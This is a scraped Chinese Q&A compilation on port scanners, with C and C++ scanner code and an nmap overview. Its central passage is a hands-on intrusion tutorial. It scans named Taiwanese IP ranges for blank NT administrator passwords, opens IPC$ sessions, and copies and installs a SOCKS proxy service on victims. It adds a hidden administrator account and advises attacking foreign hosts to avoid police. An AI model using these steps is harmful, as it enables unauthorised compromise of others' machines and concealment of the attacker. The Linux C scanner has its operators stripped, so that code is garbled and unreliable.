求扫描指定IP的端口的扫描器?
有,阿D工具包,不过那个会被很多杀毒软件报告病毒(其实杀毒软件把黑客软件都认为是病毒),但是不会对电脑造成危害
linux下用C写的一个端口扫描器,想得到扫描主机的操作系统类型
nmap 命令行
zenmap 图形化界面
一般能扫描出主机的操作系统版本
100分求linux下C语言端口扫描代码
linux tcp udp 端口扫描源程序
#include sys/socket.h
#include netinet/in.h
#include arpa/inet.h
#include unistd.h
#include errno.h
#include netdb.h
#include stdio.h
#include string.h
#include netinet/ip_icmp.h
#include stdlib.h
#include signal.h
#include libxml/parser.h
#include libxml/tree.h
#define TRUE 1
#define FALSE 0
#define UDP "UDP"
#define TCP "TCP"
#define tcp "tcp"
#define udp "udp"
typedef struct _GsSockStru{
int fd;
int len;
struct sockaddr_in addr;
}GsSockStru;
static int tcptest( char ip[32], char port[20]);
static int udptest( char ip[32], char port[20]);
void sig_alrm( int signo );
static GsSockStru test_sock;
int
main( int argc, char** argv)
{
char string[64];
char port[20];
char pro[20];
char ip[32];
int res;
int i = 0;
int k = 0;
if( argc2 || argc2 )
{
printf("鍙傛暟涓嶆纭?-1\n");
return ( -1 );
}
strcpy( string, argv[1]);
while( *string )
{
if( string[i] == ':' )
break;
pro[k] = string[i];
k++;
i++;
}
pro[k] = '\0';
i++;
k = 0;
while( *string )
{
if( string[i] == ':')
break;
ip[k] = string[i];
k++;
i++;
}
ip[k] = '\0';
i++;
k=0;
while( *string )
{
if( string[i] == '\0')
break;
port[k] = string[i];
k++;
i++;
}
port[k] = '\0';
i++;
memset( test_sock, 0, sizeof( test_sock ) );
if ( ( strcmp( TCP, pro) != 0 ) ( strcmp( UDP, pro) != 0 ) ( strcmp( tcp, pro) != 0 ) ( strcmp( udp, pro) != 0 ))
{
printf ( "鍙傛暟涓嶆纭?锛?\n" );
return (-1);
}
if ( strcmp( TCP, pro) == 0 || strcmp( tcp, pro) == 0 )
res = tcptest( ip, port );
if ( strcmp( UDP, pro) == 0 || strcmp( udp, pro) == 0 )
res = udptest( ip, port );printf("%d\n",res);
return ( res );
}
int
tcptest( char ip[32], char port[20])
{
int res;
struct timeval tv;
test_sock.fd = socket( AF_INET, SOCK_STREAM, 0 );
if ( test_sock.fd 0 )
{
printf( "create socket failed -3 \n" );
return ( -3 );
}
memset( ( test_sock.addr ), 0, sizeof( test_sock.addr ) );
test_sock.addr.sin_family = AF_INET;
test_sock.addr.sin_port = htons( atoi( port ) );
inet_pton( AF_INET, ip, test_sock.addr.sin_addr );
test_sock.len = sizeof( struct sockaddr );
tv.tv_sec = 10;
tv.tv_usec = 0;
setsockopt( test_sock.fd, SOL_SOCKET, SO_RCVTIMEO,
(const char *)tv, sizeof( tv ) );
res = connect( test_sock.fd,
( struct sockaddr * )( ( test_sock.addr ) ),
test_sock.len );
if ( res 0 )
{
fprintf( stderr, "connect failed 0\n" );
close( test_sock.fd );
return FALSE;
}
close( test_sock.fd );
return TRUE;
}
int udptest( char ip[32], char port[20])
{
struct icmphdr *icmp_header;
struct sockaddr_in target_info;
int target_info_len;
fd_set read_fd;
int scan_port;
char recvbuf[5000];
struct sockaddr_in target_addr;
int icmp_socket;
int udp_socket;
struct timeval tv;
icmp_header = (struct icmphdr *)(recvbuf+sizeof(struct iphdr));
scan_port = atoi( port );
target_addr.sin_family = AF_INET;
inet_pton( AF_INET, ip, target_addr.sin_addr );
target_addr.sin_port = htons(scan_port);
if ((udp_socket=socket(AF_INET,SOCK_DGRAM,0))==-1)
{
printf("create socket failed -3\n");
return -3;
}
if ((icmp_socket=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))==-1)
{
printf("Create raw socket failed -3\n");
return -3;
}
sendto(udp_socket,NULL,0,0,(void *)target_addr,sizeof(target_addr));
FD_ZERO(read_fd);
FD_SET(icmp_socket,read_fd);
tv.tv_sec = 1;
tv.tv_usec = 0;
select(FD_SETSIZE,read_fd,NULL,NULL,tv);
for (;;){
if (FD_ISSET(icmp_socket,read_fd))
{
target_info_len = sizeof(target_info);
recvfrom(icmp_socket,recvbuf,5000,0,
(struct sockaddr *)target_info,target_info_len);
if (target_info.sin_addr.s_addr == target_addr.sin_addr.s_addr
icmp_header-type == 3 icmp_header-code=12)
{
printf("Port %d : Close\n",scan_port);
return (0);
}
}
return (1) ;
}
}
端口扫描、跳板的详细教程!
特别提醒:千万不要做国内的主机啊!做日本或者阿扁(台湾)吧,这样既不违反 我们国家的法律,也体现了自己的爱国心,哈哈(摘录别人的话),不过最好还是老老实实的做跳板,不要总是去想着做什么坏事。 千万不要用国内的主机做试验啊,否则等着警车来接你啦 怎样制作代理跳板 说明:(1)这篇文章是我自己做跳板的一点体会,是些给那些从来没有做过跳板的网友看的。做过跳板的网友就不用看了。 (2)本文讲述的是做跳板最简单,最基础的方法,仅仅是给新手提供一个思路,一些稍微复杂的方法比如unicode,CGI等等这里不讲。 (3)做跳板毕竟算是一种入侵行为,有了跳板和肉鸡以后,千万要用在该用的地方,不要刻意去“黑“别人啊!! 准备工作: 做一件事情,至少需要两个方面的准备工作:相关的基础知识和做这件事情的工具。 基本的工具:(1)x-scan v1.3:强大的漏洞扫描工具,对于初学者来说非常好的一个工具。我们主要用他来扫描一些基本的漏洞(主要是NT弱密码),用法在后面会具体说。(其实流光很不错的,但是我觉得流光再扫NT弱密码的时候太烦了) (2)superscan:非常快速的端口扫描工具,可以在很短的时间里发现某个IP域上IP的分布。为什么用他呢?主要是避免盲目扫描,提高效率:某个 IP域上IP地址的分布不是连续的,也许他从xxx.xxx.0.0-xxx.xxx.50.255上每个IP都是有计算机存在的,而从 xxx.xxx.51.0- xxx.xxx.100.255每个IP都没有计算机存在。如果你事先不知道这一段上根本没有主机的话,花了很长时间去扫描也不会有结果,浪费时间和金钱 啊。 (3)fluxay 4.0:大名鼎鼎的扫描工具,我们主要用它的NT管道命令功能来连接目标主机,以及添加用户、远程启动服务等。注意了:最好是fluxay 4.0版本。 (4)windows2000下的c:\命令提示符工具:也就是说,跳板的制作至少是要在windows2000以上的操作系统下进行。 (5)sksockserver.exe:做跳板的主角,就是用它来实现远程主机的socks5代理功能的。 (6)全球IP地址分配表:这个对于高手来说是不必要的,用他的目的是考虑到很多以前没有做过跳板的网友对IP的分布不了解,我们主要的目标还是国外的主 机,因此对国外的IP分布有一些了解是很重要的,也是以后我们选定所要扫描的IP域的主要根据。这样的话,就省得再去用“追捕”软件查找IP的实际所在地 了。 好了工具准备完了,现在了解一下做跳板的大概过程。 注意:刚才你下载的这些东东不是放在你的硬盘上!放在什么地方呢?放在“肉鸡”上! 就是说我们做跳板的过程是在肉鸡上完成的。 名词解释肉鸡:肉鸡是开了3389端口微软终端服务(microsoft terminal service),又有弱密码的高速服务器,俗称“肉鸡”。我们之所以要在肉鸡上做,是出于安全考虑,因为做跳板毕竟是一种非法入侵行为,我们需要隐藏自 己的踪迹,当然,不想用肉鸡也可以,前提是你有足够的带宽,而且不怕公安上门找你麻烦。(当然,进入肉鸡本身也是一种非法的入侵)。我们用 mstsc.exe这个软件登陆上肉鸡,就可以像平时我们在自己电脑上一样用鼠标控制远程的服务器(也就是肉鸡)做我们要做的事情。 过程:为了叙述的方便,先假设我们已经有了一个肉鸡。下面的步骤没有特殊说明都是在“肉 鸡”上完成的。 (1) 先在自己的机器上打开全球IP地址分配表,选取一个IP区域 (2) 登陆上肉鸡,把刚才说到的工具在肉鸡上下载好,就用肉鸡自己的IE下载就行了。 (3) 主要的过程是:先用superscan扫描(1)选定的IP区域,找到其中一个IP很集中的区域,然后放到x-scan进行漏洞扫描(因为是面对以前没有 做过跳板的网友,所以这里只介绍用NT弱密码制作跳板),找到若干个有弱密码的IP,把sksockserver.exe上传到目标主机上,然后远程启动 sksockserver。这样,跳板就做好了。 我们一起来实践一下,做一个跳板: (1) 刚才说过了,没有肉鸡做跳板是不行的,尤其是拨号上网的网友(速度慢)。我们首先登陆上一个已经知道的肉鸡:xxx.xxx.xxx.xxx。帮刚才上面 提到的东东都准备好。最好是集中放置,这样便于我们使用。不要到处乱放,否则主人一进来就知道有人进过他的机器。 (2) 我们选择210.85.0.0-210.85.50.255这一段IP(台湾),放在superscan里面去,把superscan的端口设置改成只有 80一个端口,然后确定,开始扫描。这时,在下面的输出框里面,就会出现一大批的活跃IP,看见了吗?210.85.0.0-210.85.40.255 这一段上都是活跃的IP。现在我们随便选一个IP区域,比如我们就选210.85.0.0-210.85.5.255这一段,不要太长,因为下一步我们要 把他们放进x-scan进行扫描,x-scan扫描速度并不是很快,太多的话,会降低效率,而且IP区域过长的话,有可能使x-scan出现误报。 x-scan的使用方法这里就不详细叙述了这里要做的就是:在“设置”菜单里,先选“扫描模块”,选择“开放端口”和“NT弱密码”两个选项,在“扫描参 数”里,填上我们刚才选定的IP范围:210.85.0.0-210.85.5.255,接着,在其中“端口相关设置”里,把原先一长串的端口去掉,只填 上80,3389两个端口,其他的设置就用默认的好了,不用再改了。然后就开始搜索,这需要大概你8、9分钟的时间(因为x-scan虽然简单,但是速度慢),这段时间你大可以做一点自己的其他事情,等时间差不多了,你再看看x-scan里面的结果:好的,N个机器的密码为空,这下子有收获了!但是要说的 是,x-scan有一些误报,大家一定要有耐心去试啊! (3) 我们随便从中间随便选了一个,比如:210.85.0.14:administrator 空。接下来的事情, 是要验证它到底接不接受我们的连接,密码是不是正确。现在用到流光了,打开流光,选择“工具”里面的“NT管道远程命令”,出现对话框,把刚才的IP,用户名,密码填进去,然后回车。在界面上“NTCMD”提示符后面打入CMD,连接成功,屏幕上出现了“C:\WINNT\ SYSTEM32”的提示符。这证明,刚才的用户名和密码是正确的,这台机器已经基本是你的了。好了,我们进去了,想想我们要做什么呢?对了,是做跳板,我们还要把sksockserver.exe放到210.85.0.14上,这样才能启动服务,让这台机器做为跳板!怎么把这个东东放上去呢: 调出肉鸡上的CMD,在命令提示符下按下面的方法做: c:\net use \\210.85.0.14\ipc$ “”/user:“administrator”(建立IPC连接) 系统提示:命令成功完成。 Copy c:\sksockserver.exe \\210.85.0.14\admin$ 系统提示:成功复制一个文件。 这样我们就成功地把sksockserver.exe传到了目标主机上。接下来的任务就是把他远程启动就行了。 我们又回到刚才流光的NTCMD里,在提示符下按下面的方法做: c:\sksockserver –install 系统提示:snake sockproxy service installed c:\sksockserver –config port 1949(端口自己来定,这里的1949是随便选的) 系统提示:the port value have set to 1949 c:\sksockserver –config starttype 2 系统提示:the starttype have set to 2---auto c:\net start skserver 系统提示服务启动成功。 这个时候,这台机器已经成为你的跳板了。 下面简单的说一说自己找肉鸡的方法。 工具:(1)sockscap:强大的socks代理调度软件。 (2)snake的代理跳板GUI(图形界面程序) (3)mstsc:微软terminal service终端服务的客户端程序。用于登陆3389肉 鸡。有了它,我们就可以象控制自己的机器一样控制终端服务器,做我们的事情了。 其实前面两个都是附属的工具,只有mstsc才是真正唱主角的。 Sockscap和sksockserver GUI配合实现实现跳板的使用,可以隐藏我们的 入侵痕迹。 我们现在还没有肉鸡,那么一切事情都只能在我们自己的机器上做了,如果你不放心的话 可以到网吧去做下面的事情。 但是,要提醒的是,千万不要做国内的主机啊!做日本或者阿扁(台湾)吧,这样既不违反 我们国家的法律,也体现了自己的爱国心,哈哈(摘录别人的话),不过最好还是老老实实 的做跳板,不要总是去想着做什么坏事。 步骤其实跟做跳板也很相似的。刚才我们在x-scan搜索的端口里设置了3389,如果一台机 器开了3389端口,而且有了弱密码的话,那这样的机器就是所谓的“肉鸡”了。(当然输入 法漏洞有的时候也可以做成肉鸡,但是毕竟现在有输入法漏洞的机器太少了,远远不及有弱 密码的终端服务器那么多,所以我们还是选择了后者,而且输入法漏洞只适合国内机器。一 个一个去试验,真是太浪费时间了!会烦死的。) 具体搜索过程跟刚才在作跳板里是一样的,找到一个开了3389端口服务,而且有弱密码的 机器。我们在上面搜索的结果中仔细地看看,终于发现了一台:210.85.2.84:frank41:空。而 且开了3389服务。要把这台机器变成自己地机器那肯定要有自己的登录名,否则每次总是 用别人的,那还怎么叫是自己的机器?我们现在来为自己添加一个用户名,把自己提升成为 root权限,那么我们就可以做任何事情了。打开流光,选择“工具”里面的“NT管道命令” 填上刚才得到的用户名跟密码:frank41:空。然后确定,进入NTCMD界面,在提示符下 键入:CMD,连接成功以后在系统提示符下如下操作: c:\net user admin /add(添加一个admin用户) c:\net user admin shonline788(使得admin的密码是shonline788) c:\net localgroup administrators admin /add(把用户admin提升为administrator即管理员身份) 这样我们就成功的在这台机器中取得了root权限,可以作任何事情了,但是别做坏事噢。 下一步,就要用上我们刚才准备的这些工具了。在网上搞几个socks代理,把sockscap和 sksockserverGUI设置好,把mstsc的图标拖到sockscap里去,双击mstsc的图标,在其中填 上你刚才找到的肉鸡IP:210.85.2.84,然后回车进行连接。成功以后,会出现一个跟我们平 时登陆windows2000时候一样的一个蓝色的界面,在里面填上我们刚才添加的用户名和密 码,回车登陆。登陆成功以后就会出现该主机的图形界面,这个时候你就可以象操作自己的 机器一样,操作别人的机器。至此,你已经获得了一台肉鸡。就可以做我们上面做过的事情 了。
端口扫描原理及工具 - 安全工具篇
"端口"是英文port的意译,可以认为是设备与外界通讯交流的出口。端口可分为虚拟端口和物理端口,其中虚拟端口指计算机内部端口,不可见。例如计算机中的80端口、21端口、23端口等。
一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机是怎样区分不同的网络服务呢?显然不能只靠IP地址,因为IP 地址与网络服务的关系是一对多的关系。实际上是通过“IP地址+端口号”来区分不同的服务的。
因此,一个开放的端口代表一个提供的服务,不同的服务具有不同的端口号, 因此要对服务进行测试,首先要确定是否开放对应端口号 。
TCP端口和UDP端口。由于TCP和UDP 两个协议是独立的,因此各自的端口号也相互独立,比如TCP有235端口,UDP也 可以有235端口,两者并不冲突。
1、周知端口
周知端口是众所周知的端口号,范围从0到1023,其中80端口分配给WWW服务,21端口分配给FTP服务等。我们在IE的地址栏里输入一个网址的时候是不必指定端口号的,因为在默认情况下WWW服务的端口是“80”。
2、动态端口
动态端口的范围是从49152到65535。之所以称为动态端口,是因为它 一般不固定分配某种服务,而是动态分配。
3、注册端口
端口1024到49151,分配给用户进程或应用程序。这些进程主要是用户安装的程序。
1、使用Nmap工具查找ip的tcp端口
-O :获取操作系统版本信息
2、使用Nmap工具查找udp端口
-sU :表示udp scan , udp端口扫描
-Pn :不对目标进行ping探测(不判断主机是否在线)(直接扫描端口)
对于udp端口扫描比较慢,扫描完6万多个端口需要20分钟左右
3、使用Nmap工具获取端口Banner
只会返回有Banner信息的,没有则不会返回。
4、使用Nmap嗅探服务版本信息
如果没有返回banner信息的,也可以使用该方法尝试嗅探服务版本信息。
5、利用nmap对目标进行完整测试
在针对内容测试时,有授权的情况下,可以利用nmap对目标进行完整测试
如何用C++编写简易端口扫描器(要详细步骤)
#includewinsock2.h
#includestdio.h
#include time.h//计时需要用到的头文件
#pragma comment(lib,"ws2_32.lib")
#include time.h//计时需要用到的头文件
clock_t start,end;//程序运行的起始和结束时间
float costtime;//程序耗时
void usage(void)
{
printf("\tusage: tcpscan RemoteIP StartPort-EndPort\n");
printf("\tExample: tcpscan 192.168.1.1 80-100\n");
}
int main(int argc,char **argv)
{
char *host;
int startport,endport;
char *p;
if(argc!=3)
{
usage();
return 0;
}
p=argv[2];//处理端口参数
if(strstr(argv[2],"-"))
{ startport=atoi(argv[2]);
for(;*p;)
if(*(p++)=='-')break;
endport=atoi(p);
if(startport1 || endport65535)
{ printf("Port Error!\n");
return 0;
}
}
host=argv[1];
WSADATA ws;
SOCKET s;
struct sockaddr_in addr;
int result;
long lresult;
lresult=WSAStartup(MAKEWORD(1,1), ws);
addr.sin_family =AF_INET;
addr.sin_addr.s_addr =inet_addr(host);
start=clock();//开始计时
for (int i=startport;iendport;i++)
{
s=socket(AF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(i);
if(s==INVALID_SOCKET)break;
result=connect(s, (struct sockaddr*)addr,sizeof(addr));
if(result==0)
{
printf("%s %d\n",host,i);
closesocket(s);
}
}
end=clock();//计时结束
costtime= (float)(end - start) / CLOCKS_PER_SEC; //转换时间格式
printf("Cost time:%f second",costtime);//显示耗时
WSACleanup();
}
0条大神的评论